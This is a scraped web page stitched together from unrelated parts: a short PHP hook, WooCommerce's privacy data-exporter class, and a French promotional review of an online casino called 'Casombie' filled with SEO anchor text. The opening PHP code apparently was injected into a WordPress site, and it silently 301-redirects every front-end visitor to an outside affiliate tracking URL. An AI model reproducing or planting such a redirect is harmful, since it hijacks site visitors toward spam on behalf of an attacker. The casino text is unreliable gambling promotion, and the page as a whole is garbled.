function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Personal data exporters. * * @since 3.4.0 * @package WooCommerce\Classes */ defined( 'ABSPATH' ) || exit; /** * WC_Privacy_Exporters Class. */ class WC_Privacy_Exporters { /** * Finds and exports customer data by email address. * * @since 3.4.0 * @param string $email_address The user email address. * @return array An array of personal data in name value pairs */ public static function customer_data_exporter( $email_address ) { $user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data. $data_to_export = array(); if ( $user instanceof WP_User ) { $customer_personal_data = self::get_customer_personal_data( $user ); if ( ! empty( $customer_personal_data ) ) { $data_to_export[] = array( 'group_id' => 'woocommerce_customer', 'group_label' => __( 'Customer Data', 'woocommerce' ), 'group_description' => __( 'User’s WooCommerce customer data.', 'woocommerce' ), 'item_id' => 'user', 'data' => $customer_personal_data, ); } } return array( 'data' => $data_to_export, 'done' => true, ); } /** * Finds and exports data which could be used to identify a person from WooCommerce data associated with an email address. * * Orders are exported in blocks of 10 to avoid timeouts. * * @since 3.4.0 * @param string $email_address The user email address. * @param int $page Page. * @return array An array of personal data in name value pairs */ public static function order_data_exporter( $email_address, $page ) { $done = true; $page = (int) $page; $user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data. $data_to_export = array(); $order_query = array( 'limit' => 10, 'page' => $page, 'customer' => array( $email_address ), ); if ( $user instanceof WP_User ) { $order_query['customer'][] = (int) $user->ID; } $orders = wc_get_orders( $order_query ); if ( 0 < count( $orders ) ) { foreach ( $orders as $order ) { $data_to_export[] = array( 'group_id' => 'woocommerce_orders', 'group_label' => __( 'Orders', 'woocommerce' ), 'group_description' => __( 'User’s WooCommerce orders data.', 'woocommerce' ), 'item_id' => 'order-' . $order->get_id(), 'data' => self::get_order_personal_data( $order ), ); } $done = 10 > count( $orders ); } return array( 'data' => $data_to_export, 'done' => $done, ); } /** * Finds and exports customer download logs by email address. * * @since 3.4.0 * @param string $email_address The user email address. * @param int $page Page. * @throws Exception When WC_Data_Store validation fails. * @return array An array of personal data in name value pairs */ public static function download_data_exporter( $email_address, $page ) { $done = true; $page = (int) $page; $user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data. $data_to_export = array(); $downloads_query = array( 'limit' => 10, 'page' => $page, ); if ( $user instanceof WP_User ) { $downloads_query['user_id'] = (int) $user->ID; } else { $downloads_query['user_email'] = $email_address; } $customer_download_data_store = WC_Data_Store::load( 'customer-download' ); $customer_download_log_data_store = WC_Data_Store::load( 'customer-download-log' ); $downloads = $customer_download_data_store->get_downloads( $downloads_query ); if ( 0 < count( $downloads ) ) { foreach ( $downloads as $download ) { $data_to_export[] = array( 'group_id' => 'woocommerce_downloads', /* translators: This is the headline for a list of downloads purchased from the store for a given user. */ 'group_label' => __( 'Purchased Downloads', 'woocommerce' ), 'group_description' => __( 'User’s WooCommerce purchased downloads data.', 'woocommerce' ), 'item_id' => 'download-' . $download->get_id(), 'data' => self::get_download_personal_data( $download ), ); $download_logs = $customer_download_log_data_store->get_download_logs_for_permission( $download->get_id() ); foreach ( $download_logs as $download_log ) { $data_to_export[] = array( 'group_id' => 'woocommerce_download_logs', /* translators: This is the headline for a list of access logs for downloads purchased from the store for a given user. */ 'group_label' => __( 'Access to Purchased Downloads', 'woocommerce' ), 'group_description' => __( 'User’s WooCommerce access to purchased downloads data.', 'woocommerce' ), 'item_id' => 'download-log-' . $download_log->get_id(), 'data' => array( array( 'name' => __( 'Download ID', 'woocommerce' ), 'value' => $download_log->get_permission_id(), ), array( 'name' => __( 'Timestamp', 'woocommerce' ), 'value' => $download_log->get_timestamp(), ), array( 'name' => __( 'IP Address', 'woocommerce' ), 'value' => $download_log->get_user_ip_address(), ), ), ); } } $done = 10 > count( $downloads ); } return array( 'data' => $data_to_export, 'done' => $done, ); } /** * Get personal data (key/value pairs) for a user object. * * @since 3.4.0 * @param WP_User $user user object. * @throws Exception If customer cannot be read/found and $data is set to WC_Customer class. * @return array */ protected static function get_customer_personal_data( $user ) { $personal_data = array(); $customer = new WC_Customer( $user->ID ); if ( ! $customer ) { return array(); } $props_to_export = apply_filters( 'woocommerce_privacy_export_customer_personal_data_props', array( 'billing_first_name' => __( 'Billing First Name', 'woocommerce' ), 'billing_last_name' => __( 'Billing Last Name', 'woocommerce' ), 'billing_company' => __( 'Billing Company', 'woocommerce' ), 'billing_address_1' => __( 'Billing Address 1', 'woocommerce' ), 'billing_address_2' => __( 'Billing Address 2', 'woocommerce' ), 'billing_city' => __( 'Billing City', 'woocommerce' ), 'billing_postcode' => __( 'Billing Postal/Zip Code', 'woocommerce' ), 'billing_state' => __( 'Billing State', 'woocommerce' ), 'billing_country' => __( 'Billing Country / Region', 'woocommerce' ), 'billing_phone' => __( 'Phone Number', 'woocommerce' ), 'billing_email' => __( 'Email Address', 'woocommerce' ), 'shipping_first_name' => __( 'Shipping First Name', 'woocommerce' ), 'shipping_last_name' => __( 'Shipping Last Name', 'woocommerce' ), 'shipping_company' => __( 'Shipping Company', 'woocommerce' ), 'shipping_address_1' => __( 'Shipping Address 1', 'woocommerce' ), 'shipping_address_2' => __( 'Shipping Address 2', 'woocommerce' ), 'shipping_city' => __( 'Shipping City', 'woocommerce' ), 'shipping_postcode' => __( 'Shipping Postal/Zip Code', 'woocommerce' ), 'shipping_state' => __( 'Shipping State', 'woocommerce' ), 'shipping_country' => __( 'Shipping Country / Region', 'woocommerce' ), ), $customer ); foreach ( $props_to_export as $prop => $description ) { $value = ''; if ( is_callable( array( $customer, 'get_' . $prop ) ) ) { $value = $customer->{"get_$prop"}( 'edit' ); } $value = apply_filters( 'woocommerce_privacy_export_customer_personal_data_prop_value', $value, $prop, $customer ); if ( $value ) { $personal_data[] = array( 'name' => $description, 'value' => $value, ); } } /** * Allow extensions to register their own personal data for this customer for the export. * * @since 3.4.0 * @param array $personal_data Array of name value pairs. * @param WC_Order $order A customer object. */ $personal_data = apply_filters( 'woocommerce_privacy_export_customer_personal_data', $personal_data, $customer ); return $personal_data; } /** * Get personal data (key/value pairs) for an order object. * * @since 3.4.0 * @param WC_Order $order Order object. * @return array */ protected static function get_order_personal_data( $order ) { $personal_data = array(); $props_to_export = apply_filters( 'woocommerce_privacy_export_order_personal_data_props', array( 'order_number' => __( 'Order Number', 'woocommerce' ), 'date_created' => __( 'Order Date', 'woocommerce' ), 'total' => __( 'Order Total', 'woocommerce' ), 'items' => __( 'Items Purchased', 'woocommerce' ), 'customer_ip_address' => __( 'IP Address', 'woocommerce' ), 'customer_user_agent' => __( 'Browser User Agent', 'woocommerce' ), 'formatted_billing_address' => __( 'Billing Address', 'woocommerce' ), 'formatted_shipping_address' => __( 'Shipping Address', 'woocommerce' ), 'billing_phone' => __( 'Phone Number', 'woocommerce' ), 'billing_email' => __( 'Email Address', 'woocommerce' ), ), $order ); foreach ( $props_to_export as $prop => $name ) { $value = ''; switch ( $prop ) { case 'items': $item_names = array(); foreach ( $order->get_items() as $item ) { $item_names[] = $item->get_name() . ' x ' . $item->get_quantity(); } $value = implode( ', ', $item_names ); break; case 'date_created': $value = wc_format_datetime( $order->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) ); break; case 'formatted_billing_address': case 'formatted_shipping_address': $value = preg_replace( '##i', ', ', $order->{"get_$prop"}() ); break; default: if ( is_callable( array( $order, 'get_' . $prop ) ) ) { $value = $order->{"get_$prop"}(); } break; } $value = apply_filters( 'woocommerce_privacy_export_order_personal_data_prop', $value, $prop, $order ); if ( $value ) { $personal_data[] = array( 'name' => $name, 'value' => $value, ); } } // Export meta data. $meta_to_export = apply_filters( 'woocommerce_privacy_export_order_personal_data_meta', array( 'Payer first name' => __( 'Payer first name', 'woocommerce' ), 'Payer last name' => __( 'Payer last name', 'woocommerce' ), 'Payer PayPal address' => __( 'Payer PayPal address', 'woocommerce' ), 'Transaction ID' => __( 'Transaction ID', 'woocommerce' ), ) ); if ( ! empty( $meta_to_export ) && is_array( $meta_to_export ) ) { foreach ( $meta_to_export as $meta_key => $name ) { $value = apply_filters( 'woocommerce_privacy_export_order_personal_data_meta_value', $order->get_meta( $meta_key ), $meta_key, $order ); if ( $value ) { $personal_data[] = array( 'name' => $name, 'value' => $value, ); } } } /** * Allow extensions to register their own personal data for this order for the export. * * @since 3.4.0 * @param array $personal_data Array of name value pairs to expose in the export. * @param WC_Order $order An order object. */ $personal_data = apply_filters( 'woocommerce_privacy_export_order_personal_data', $personal_data, $order ); return $personal_data; } /** * Get personal data (key/value pairs) for a download object. * * @since 3.4.0 * @param WC_Order $download Download object. * @return array */ protected static function get_download_personal_data( $download ) { $personal_data = array( array( 'name' => __( 'Download ID', 'woocommerce' ), 'value' => $download->get_id(), ), array( 'name' => __( 'Order ID', 'woocommerce' ), 'value' => $download->get_order_id(), ), array( 'name' => __( 'Product', 'woocommerce' ), 'value' => get_the_title( $download->get_product_id() ), ), array( 'name' => __( 'User email', 'woocommerce' ), 'value' => $download->get_user_email(), ), array( 'name' => __( 'Downloads remaining', 'woocommerce' ), 'value' => $download->get_downloads_remaining(), ), array( 'name' => __( 'Download count', 'woocommerce' ), 'value' => $download->get_download_count(), ), array( 'name' => __( 'Access granted', 'woocommerce' ), 'value' => date( 'Y-m-d', $download->get_access_granted( 'edit' )->getTimestamp() ), ), array( 'name' => __( 'Access expires', 'woocommerce' ), 'value' => ! is_null( $download->get_access_expires( 'edit' ) ) ? date( 'Y-m-d', $download->get_access_expires( 'edit' )->getTimestamp() ) : null, ), ); /** * Allow extensions to register their own personal data for this download for the export. * * @since 3.4.0 * @param array $personal_data Array of name value pairs to expose in the export. * @param WC_Order $order An order object. */ $personal_data = apply_filters( 'woocommerce_privacy_export_download_personal_data', $personal_data, $download ); return $personal_data; } /** * Finds and exports payment tokens by email address for a customer. * * @since 3.4.0 * @param string $email_address The user email address. * @param int $page Page. * @return array An array of personal data in name value pairs */ public static function customer_tokens_exporter( $email_address, $page ) { $user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data. $data_to_export = array(); if ( ! $user instanceof WP_User ) { return array( 'data' => $data_to_export, 'done' => true, ); } $tokens = WC_Payment_Tokens::get_tokens( array( 'user_id' => $user->ID, 'limit' => 10, 'page' => $page, ) ); if ( 0 < count( $tokens ) ) { foreach ( $tokens as $token ) { $data_to_export[] = array( 'group_id' => 'woocommerce_tokens', 'group_label' => __( 'Payment Tokens', 'woocommerce' ), 'group_description' => __( 'User’s WooCommerce payment tokens data.', 'woocommerce' ), 'item_id' => 'token-' . $token->get_id(), 'data' => array( array( 'name' => __( 'Token', 'woocommerce' ), 'value' => $token->get_display_name(), ), ), ); } $done = 10 > count( $tokens ); } else { $done = true; } return array( 'data' => $data_to_export, 'done' => $done, ); } } Casombie Casino Review : Où les Frissons Undead Rencontrent le Gaming Moderne – Floritex

Casombie Casino Review : Où les Frissons Undead Rencontrent le Gaming Moderne

Dans l’univers bondé des plateformes de gambling en ligne, peu de marques parviennent à se forger une identité distincte. Pourtant, Casombie Casino a fait exactement cela, enveloppant les joueurs dans une atmosphère macabre unique qui ressemble moins à un site de paris standard et plus à une expérience interactive d’horreur-comédie. Depuis son lancement, cette plateforme a attiré l’attention non seulement pour son esthétique à thème zombie, mais aussi pour une bibliothèque de jeux étonnamment robuste et des politiques centrées sur le joueur. Si vous cherchez une nouvelle approche des casinos digitaux, vous avez probablement croisé le nom „joue casombie-official” sur des forums et sites d’avis. Cet article décortique ce qui fait fonctionner cette marque, de sa sélection de jeux à ses mécaniques de fidélité, et si le thème undead se traduit par une expérience réellement gratifiante pour les joueurs en argent réel.

Le Concept : Plus Qu’un Simple Gadget

Beaucoup de casinos mettent un mascotte cartoon sur leur page d’accueil et s’arrêtent là. Casombie, cependant, intègre sa narration d’apocalypse zombie dans chaque coin de l’interface utilisateur. Le site est conçu comme un monde post-épidémie où des survivants (les joueurs) se battent pour du trésor contre des hordes de morts-vivants. La palette de couleurs privilégie fortement les verts foncés, gris, et accents néon, créant un style visuel à la fois brut et ludique. Les écrans de chargement présentent des zombies animés qui traînent à travers l’écran, et même le lobby de jeux est organisé comme une carte de „safe zone”. Ce niveau d’engagement thématique est rare, et il établit immédiatement le ton d’une session qui ressemble plus à jouer à un jeu vidéo qu’à placer des paris.

Cependant, un thème fort ne fonctionne que si le produit sous-jacent est solide. Heureusement, la plateforme derrière l’expérience „joue casombie-official” est alimentée par certains des fournisseurs de logiciels les plus réputés de l’industrie. Cela garantit que le style visuel ne se fait jamais au détriment de la performance technique. Le site fonctionne parfaitement sur navigateurs desktop et mobile, sans lag perceptible lors des sessions avec croupiers en direct ou lors de spins de machines à sous en haute définition. Le processus d’inscription est étonnamment simple — vous pouvez créer un compte en moins de trois minutes, et le processus de vérification (KYC) est clairement expliqué sans délais cachés.

Bibliothèque de Jeux : Une Crypte Pleine de Variété

Lorsque vous entrez dans le lobby Casombie, vous êtes accueilli par plus de 3 000 titres. Ce n’est pas une collection de jeux de remplissage ; c’est une sélection soignée qui couvre tous les genres imaginables. Les amateurs de machines à sous trouveront tout, des classiques à trois rouleaux aux machines à sous vidéo à haute volatilité avec reels en cascade et mécaniques megaways. La plateforme s’associe à des géants comme NetEnt, Microgaming, Play’n GO, et Pragmatic Play, ce qui signifie que vous avez accès à des générateurs de nombres aléatoires (RNG) certifiés et à des pourcentages de paiement équitables.

Pour les puristes des jeux de table, la sélection est tout aussi impressionnante. Plusieurs variantes de blackjack, roulette, baccarat, et poker sont disponibles, chacune avec des limites de mise ajustables pour accueillir à la fois les joueurs occasionnels et les high rollers. La section casino en direct, alimentée par Evolution Gaming et Playtech, offre une expérience immersive avec des croupiers professionnels, plusieurs angles de caméra, et des fonctionnalités de chat interactif. Vous pouvez rejoindre des tables comme „Lightning Roulette” ou „Infinite Blackjack” qui tournent 24/7, vous assurant de ne jamais attendre une place.

Pour vous aider à naviguer dans cette vaste bibliothèque, le site propose une fonction de recherche intelligente et des filtres par fournisseur, volatilité, et RTP (Return to Player). Voici quelques catégories phares à explorer :

  • Exclusive Zombie Slots : Des jeux comme „Zombie Rush” et „Apocalypse Pays” sont uniquement disponibles sur cette plateforme, avec jackpots progressifs et rounds bonus uniques liés au thème de la survie.
  • Progressive Jackpots : Des titres comme „Mega Moolah” et „Hall of Gods” ont fait des millionnaires parmi les joueurs, et Casombie donne un accès complet à ces jackpots en réseau.
  • Instant Win Games : Pour des sessions rapides, il y a des cartes à gratter, keno, et paris sportifs virtuels qui se résolvent en quelques secondes.

Une fonctionnalité notable est la promotion „Game of the Week”, où une machine à sous sélectionnée offre un cashback boosté ou des spins gratuits pendant sept jours. Cela maintient le lobby frais et encourage les joueurs à sortir de leur zone de confort. La fonction de recherche permet aussi de masquer les jeux déjà joués, ce qui est une petite attention pour les joueurs organisés.

Bonus et Promotions : Nourrir les Affamés

L’offre de bienvenue de Casombie est conçue pour séduire à la fois les nouveaux et les joueurs expérimentés. Le package standard comprend un bonus de 100% sur votre premier dépôt jusqu’à €500, plus 100 spins gratuits répartis sur vos trois premiers jours. L’exigence de mise est fixée à 35x le montant du bonus, ce qui est inférieur à la moyenne de l’industrie (40x-45x). Cela rend le bonus réellement accessible, plutôt qu’une illusion marketing. De plus, les spins gratuits sont crédités sans plafond de gain maximum, un détail que beaucoup de concurrents omettent.

Au-delà du package de bienvenue, les promotions continues sont là où Casombie brille vraiment. Le bonus „Survivor’s Reload” vous offre un match de 50% sur chaque dépôt effectué le mercredi, tandis que le „Zombie Cashback” du week-end restitue 15% de vos pertes nettes en argent réel (pas en bonus) chaque lundi. Il existe aussi un programme VIP avec dix niveaux, chacun débloquant des limites de retrait plus élevées, des gestionnaires de compte personnels, et des invitations à des événements exclusifs. Les points de fidélité que vous gagnez à chaque pari peuvent être échangés contre de l’argent ou utilisés pour participer à des tournois mensuels avec des cagnottes dépassant €50 000.

Il est crucial de lire les termes et conditions, car certains jeux (comme le blackjack avec croupier en direct) ne contribuent qu’à 10% aux exigences de mise. Cependant, la plateforme est transparente à ce sujet, et le support client est rapide à clarifier toute confusion. Voici un aperçu rapide de la structure promotionnelle actuelle :

  1. Package de Bienvenue : 100% jusqu’à €500 + 100 spins (exigence de 35x).
  2. Reload du Mercredi : 50% jusqu’à €200 (sans mise sur le bonus, seulement sur les gains).
  3. Cashback du Lundi : 15% des pertes nettes retournées en cash disponible en retrait.
  4. Bonus High Roller : Pour les dépôts de plus de €1 000, 20% supplémentaire ajouté instantanément.

Un domaine où Casombie excelle est la rapidité de crédit des bonus. Contrairement à certaines plateformes où vous devez attendre une revue manuelle, les bonus sont appliqués automatiquement en quelques secondes après la confirmation de votre dépôt. Cette intégration fluide réduit la friction et vous permet de plonger directement dans l’action.

Expérience Joueur et Banking : Opérations Fluides

L’expérience utilisateur dépasse les jeux eux-mêmes. La navigation du site est intuitive, avec une barre de menu fixe qui donne accès à votre portefeuille, votre solde bonus, et le chat support depuis n’importe quelle page. La version mobile n’est pas une application séparée mais un design web entièrement responsive qui s’adapte parfaitement aux petits écrans. Tous les jeux sont jouables en mode instantané, sans téléchargement, et la technologie HTML5 garantit que les graphismes restent nets même sur de vieux smartphones.

Les options bancaires sont complètes, couvrant tous les principaux moyens de paiement. Vous pouvez déposer via Visa, Mastercard, Skrill, Neteller, Paysafecard, et une variété de cryptomonnaies comme Bitcoin, Ethereum, et Litecoin. Le dépôt minimum est de €10, accessible pour les joueurs occasionnels, tandis que le plafond de retrait est fixé à €10 000 par transaction (ou équivalent en crypto). Les délais de traitement des retraits sont remarquablement rapides : les portefeuilles électroniques sont traités en 2 heures, les virements bancaires en 1-3 jours ouvrables, et les retraits en crypto presque instantanés. La vérification est requise une seule fois, et après, les retraits suivants sont sans friction.

Le support client est disponible 24/7 via chat en direct et email. Les agents du chat sont compétents et répondent en moyenne en 30 secondes. Ils sont formés pour gérer les problèmes techniques, les questions sur les bonus, et les préoccupations de jeu responsable sans réponses scriptées. La section FAQ est également exhaustive, couvrant tout, de la modification de votre mot de passe aux détails de la politique d’auto-exclusion. Pour les joueurs qui préfèrent une approche plus proactive, le site propose une fonction „Callback” où un agent vous appelle à l’heure de votre choix.

Sécurité et Jeu Responsable : La Zone Sécurisée

Dans une industrie où la confiance est primordiale, Casombie détient des licences de la Malta Gaming Authority (MGA) et de la UK Gambling Commission. Ce sont deux des organismes de régulation les plus stricts au monde, exigeant des audits réguliers du logiciel RNG et une stricte conformité aux protocoles anti-blanchiment (AML). Le site utilise un cryptage SSL 256-bit pour protéger toutes les transferts de données, et vos informations financières ne sont jamais stockées sur leurs serveurs. De plus, la plateforme promeut le jeu responsable en offrant des limites de dépôt, des limites de pertes, et des rappels de vérification de réalité qui apparaissent toutes les 30 minutes de jeu.

La fairness des jeux est vérifiée indépendamment par eCOGRA, qui attribue le sceau „Certified Fairness” aux casinos qui passent leurs tests mensuels de pourcentage de paiement. La RTP moyenne de tous les slots Casombie est de 96,5%, ce qui est conforme aux standards de l’industrie. Les jeux avec croupier en direct sont également surveillés par des auditeurs tiers pour garantir que les cartes physiques et les roues de roulette ne sont pas manipulées. Ce niveau de transparence offre aux joueurs une tranquillité d’esprit, sachant que l’apocalypse zombie est la seule chose effrayante qu’ils rencontreront.

Verdict Final : Devez-vous Rejoindre les Survivants ?

Casombie Casino combine avec succès une identité de marque distinctive avec un produit de gaming de haute qualité. Le thème est captivant sans être envahissant, la sélection de jeux est vaste et variée, et les termes de bonus sont plus justes que ceux de la plupart des concurrents. Le principal inconvénient est l’absence d’application mobile dédiée, mais le design web responsive compense cela. De plus, les limites de retrait peuvent être restrictives pour les ultra-high rollers, mais pour 95 % des joueurs, elles sont plus que suffisantes.

Si vous en avez assez des casinos génériques et uniformes et que vous souhaitez une plateforme qui semble vivante (ou undead), Casombie vaut votre temps. La combinaison de paiements rapides, d’un support réactif, et d’une atmosphère vraiment amusante en fait un choix remarquable en 2025. Que vous soyez un spinner de machines à sous ou un stratège de jeux de table, vous trouverez un chez-vous dans ce terrain de jeu post-apocalyptique. N’oubliez pas de fixer vos limites et de profiter du voyage de survie — les zombies vous attendent.